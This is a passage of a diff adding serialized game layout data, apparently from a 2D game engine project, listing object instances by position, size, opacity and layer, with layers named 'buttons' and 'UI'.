+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6380,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4019.439697265625,
+ 642.022705078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6381,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4174.515625,
+ 641.7650756835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6382,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4206.515625,
+ 641.7650756835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6383,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4237.1708984375,
+ 642.1244506835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6384,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4268.1708984375,
+ 642.1244506835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6385,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4392.24658203125,
+ 641.8668212890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6386,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4423.24658203125,
+ 641.8668212890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6387,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4455.24658203125,
+ 641.8668212890625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6388,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1106,
+ 184.5,
+ 0,
+ 78,
+ 555,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6389,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1271,
+ 743,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6393,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1301,
+ 743,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6394,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 642,
+ 669,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6395,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1375.648071289063,
+ 684.9107055664062,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6396,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1190.497802734375,
+ 713.6922607421875,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6397,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1722.872924804688,
+ 662.815185546875,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6398,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1941.008178710938,
+ 592.5820922851562,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6399,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2337,
+ 534,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6400,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2522.07470703125,
+ 378.8828125,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6401,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2745,
+ 280,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6402,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2936.510498046875,
+ 453.7116088867188,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6403,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3205.610107421875,
+ 550.12646484375,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6404,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3296.752197265625,
+ 743.9132690429688,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6405,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3536.593505859375,
+ 672.9220581054688,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6406,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3867.5654296875,
+ 608.6449584960938,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6407,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4100.68994140625,
+ 610.5645141601562,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6408,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4334.76416015625,
+ 612.4840698242188,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6409,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4639.85302734375,
+ 703.6202392578125,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6410,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4910.3837890625,
+ 791.8815307617188,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6411,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3390,
+ 366,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6412,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3389,
+ 454,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6413,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3389,
+ 542,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6414,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 382,
+ 890,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6415,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9,
+ 890,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6416,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1134,
+ 890,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6417,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 761,
+ 890,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6418,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1512,
+ 890,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6419,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2263.6298828125,
+ 889.4351806640625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6420,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1890.629760742188,
+ 889.4351806640625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6421,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3015.6298828125,
+ 889.4351806640625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6422,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2642.6298828125,
+ 889.4351806640625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6423,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3393.6298828125,
+ 889.4351806640625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6424,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4144.515625,
+ 889.3551635742188,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6425,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3771.515625,
+ 889.3551635742188,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6426,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4896.515625,
+ 889.3551635742188,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6427,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4523.515625,
+ 889.3551635742188,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6428,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5275.2919921875,
+ 889.3223266601562,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6429,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2734.2265625,
+ 1226.000122070313,
+ 0,
+ 5749,
+ 457,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 6430,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2677,
+ 950,
+ 0,
+ 5574,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 6431,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 410,
+ -72,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 6432,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2155,
+ 534,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4721,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2651,
+ 284,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5048,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2303,
+ 356,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6391,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2720.22265625,
+ 508.596923828125,
+ 0,
+ 146,
+ 379,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6392,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2303,
+ 356,
+ 0,
+ 78,
+ 82,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6446,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2152,
+ 642,
+ 0,
+ 78,
+ 82,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6447,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1940,
+ 697,
+ 0,
+ 78,
+ 82,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6448,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1726,
+ 761,
+ 0,
+ 78,
+ 82,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6449,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2305,
+ 262,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6450,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2650,
+ 169,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6451,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1107.55224609375,
+ 731.6307373046875,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 5165,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 290261476815118,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 695356065186063,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 6433,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
